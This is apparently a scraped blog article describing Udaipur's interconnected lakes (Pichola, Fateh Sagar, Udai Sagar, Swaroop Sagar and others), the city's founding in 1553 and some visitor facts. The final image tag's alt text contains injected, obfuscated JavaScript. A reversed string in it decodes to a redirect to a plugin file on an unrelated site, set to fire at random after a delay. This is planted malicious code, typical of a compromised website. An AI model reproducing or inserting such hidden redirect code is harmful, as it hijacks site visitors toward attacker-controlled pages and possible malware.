Subsequently known as Berach, the river runs for another 70 km towards the northeast and finally merges into river Banas, near Bigod in the Bhilwara district, which is a stream of Chambal river. In other words, near Chittorgarh, it obtains the water of Gambhiri river, then it turns northeast, and after running for about 190 km, it joins river Banas at the place known as Triveni Sangam near the village Bigod.
Lake Pichola
Lake Pichola was first created by a Banjara (Tribe), in the 14 century A.D., and later on, was extended to Rang Sagar and Swaroop Sagar and finally was connected to Fateh Sagar by Rana Udai Singh.
Spurce: benoy thapa
Water spread of the lake is 6.96 sq. km and it has a maximum depth of 10.5 m towards the west where the Kotra River drains into the lake. The lake is the main source of drinking water. The Sisarma River, a tributary of Kotra, is the major source of water to the lake.
It is almost triangular in shape with its base is along the City Palace edge. It was renewed and enlarged in 1559 A.D. The lake is extended towards the north and south forming a smaller lake, viz. Doodh Talai.
Parts of Lake Pichola:
Swaroop Sagar
Swaroop Sagar lake is sited in the south of Rang Sagar and it is a part of Lake Pichola. It was constructed during 1845–1850 A.D. The lake offers a combined water dam for Pichola and Rang Sagar. The lake also links Pichola and Rang Sagar with adjoining Fateh Sagar Lake through a canal. In monsoon, this canal is sometimes used to draw water in Fateh Sagar from Pichola Lake when Pichola reaches a high-water level.
Source: My Udaipur City
Rang Sagar and Kumhariya Talab
Rang Sagar has an average depth of 7 m, but its width is about 245 m, its westward expansion is known as Kumhariya Talab. Rang Sagar lake was constructed by Amar Singh Badava and is also called “Amarkund” after him. Constructed in 1668, it is one of the smallest lakes along the western waterfront of Udaipur and connects Pichola and Swaroop Sagar.
Lake Fateh Sagar
Fateh Sagar is a pear-like shaped lake situated in the north-western part of the city and almost in the central west of the basin covering an area of 12.88 sq. km. The lake was constructed in the year 1678 AD and then renovated in 1889 AD by Maharana Fateh Singh. Although essentially constructed for the irrigational purpose, this water body has lately formed the second major source of drinking water for the city of Udaipur.
The main feeder canal of the lake comes from Madar positioned at a higher altitude about 15 km from Udaipur City. Lake Fateh Sagar is also connected to the adjoining Lake Pichola through a canal having gates. The runoff emerging from surrounding hillocks drains into this lake.
Udai Sagar
It is one of the largest lakes of the Udaipur basin constructed by Maharana Udai Singh in 1559 A.D. and named after him; this lake is situated in the far south-east of this basin. The lake was built by building a stonework dam on the river Berach. This lake forms the last lake in the chain of Udaipur lake system. The main source of water for the lake is a tributary of the river Berach popularly called Ayar which passes through the city of Udaipur and joins Udai Sagar near the village Sukha Naka. Besides this, several small seasonal rivers and streams arising from the nearby hills also enter the lake.
Source: My-Udaipur-City
Badi
This lake was constructed by Maharaja Raj Singh in 1643 A.D. for leisure purpose. The total length of the canal is measured as 3,300 m which are constructed for supplying water to the nearby areas, namely, Badi, Liyo ka Guda, Hawala Khurd and Dewali villages. The full level of the lake is 9.76 m. Almost no supply of water is rendered from this lake.
Source: TripAdvisor
Bada Madaar- Chota Madaar
Both these lakes supply water to the Fateh Sagar Lake located within the municipal limits of Udaipur City through Chikalwas feeder also known as Madar Nahar or Madar Canal.
Goverdhan Sagar
Goverdhan Sagar is the smallest artificial lake of all the major lakes of the basin lies in the south. The length of the canals of this lake is also scanty, extending over an area of only 3,750 m. It also receives water from Pichola through a link canal.
Source: Saurabh-Patwari-Photography
Aren’t you amazed to read about it! Our ancestors showed a high level of planning and development. Udaipur’s Lake System is indeed considered to be the best and top-notch system in water management and rainwater harvesting. Maybe, this is the sole reason why the city is greener, peaceful and beautiful even after being near the desert region of Rajasthan.
The information is curated from valid sources and is not fabricated under any influence or otherwise.
Ask any Udaipurite and they will tell you what the City of Lakes means to them. The love for the city is immense when we talk to the people of the city. Udaipur is a beautiful and scenic city, encompassed by lush Aravali Ranges. The lakes of Udaipur are interconnected, forming a unique lake system. The city sits amidst the peaceful milieu of a dense thicket and people from all over the globe come and experience the tranquil.
Photo Courtesy: Lala Deen Dayal
History of Udaipur
In 1553, Maharana Udai Singh shifted his capital from Chittorgarh to a fertile valley region which later got its name as Udaipur. How did his happen? Let’s read further!
This valley was famous in the past for Ayad (Ahar River) for being a bustling trade town in Mewar region. But Ayad was flood-prone. He foresaw that Bahadur Shah or the campaign of Sher Shah Suri may arise.
Maharana Udai Singh had realized the advantages of the hilly areas when he was residing in exile at Kumbhalgarh. He decided to move his capital to a secured place and chose the eastern side of Lake Pichola. This was the place where he had met a hermit, Goswami Premgiriji while hunting in the ranges. The hermit blessed him to build a palace at the shoreline of the Lake, now known as Pichola. So, he decided to shift the capital from Chittaurgarh to Girwa Valley.
Photo Courtesy: Lala Deen Dayal
The valley, at the eastern part of the Aravalli Hill Range, was fed by two perennial rivers -Ayad and Sisarma, they merge further downstream to form Bedach River. This strategically located Girwa valley was endowed with a natural defense system, which made it as an ideal location for human settlement. Further, there was the lake Pichola which could suffice the water needs of his people. Also, the hills of Aravalli provided natural fortification and the hilly region made it difficult for armored Mughal horses to climb.
The foundation day
Taking all aspects into consideration Maharana Udai Singh founded the city on the auspicious Aakhaa-Teej day of 1553 CE (Akshay Tritiya, Vaishaakh Sudi Teej, Saturday- April 15, 1553).
Photo Courtesy: Lala Deen Dayal
In 1567, when Mughal Empire was threatening Mewar and captured Chittorgarh fort, Udai Singh built a large, six-kilometer long wall to protect Udaipur from attacks. The wall had seven gates. Even today, this region is called as the walled cityof Udaipur.
Mughal Emperors Akbar (1576) and later on by Aurangzeb (1680) attacked the city and the city’s terrain proved to be an advantage for the Maharana.
Maharana Udai Singh also constructed a major masonry dam to the east of the capital city which he named after him as Udaisagar.
After the change of the Capital
The Maharana encouraged people of all castes & communities to settle in the new city for which he liberally granted lands.
The nobles and traders also settled here with the construction of their havelis, while the general masses constructed ordinary houses. Step wells were also constructed in addition to the bathing ghats on Pichola’s banks.
Photo Courtesy: Lala Deen Dayal
Maharana Jagat Singh-I (1628-1652) further added more rooms to the Palace that Maharana Udai Singh built and further developed Jagmandir island palace and temples in the city. Over the centuries, four more water bodies were added to Pichola to its north- Amar Kund, Rang Sagar, Kumbhariya Talab (an extension to Swaroop), Swaroop Sagar.
What happened after the Mughals?
Later on, when Mughal Empire became weak, Sisodia called upon themselves independent and reasserted Udaipur and other areas of Mewar except for Chittorgarh. Though Mughals tried to recapture Udaipur and its nearby areas, it remained by the Sisodias until it became a princely state under British control.
Photo Courtesy: Lala Deen Dayal
Today, Shriji Arvind Singh Mewar is the 76th custodian of Mewar Dynasty.
Quick Facts about the City of Lakes Udaipur
Area: 64 sq. km
Date of establishment: In the year 1553
Founded by: Maharana Udai Singh
Location: Southern part of Rajasthan state
How to reach:
By air- Maharana Pratap Airport Udaipur,
By rail- Udaipur railway station
By road- Ahmedabad (256 km), Chittorgarh (115km), Alwar (348 km) Jaipur (418 km), Jodhpur (255 km), Kota (248 km) and Jaisalmer (508 km),
Best time to Visit: September to March
Languages Spoken: Hindi, English, and Rajasthani (Mewari)
Famous delicacies: Daal Baati Choorma, Baajre ki Khichdi, and more.
Source: andbeyond
City Overview:
The city of Udaipur located in the southern part of the state of Rajasthan, near the Gujarat border. The abundance of lakes and the Aravalli Range that acts as a border and separate the city from the Thar desert makes the city differ in the climate as well as terrain.
![Aavaran’ From Udaipur Has Taken Mewar’s Dabu H$Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Prints to International Levels!](https://udaipurblog.com/wp-content/uploads/2019/01/People-Against-the-Food-Court-Construction-at-Swaroop-Sagar-in-Udaipur-1.png)
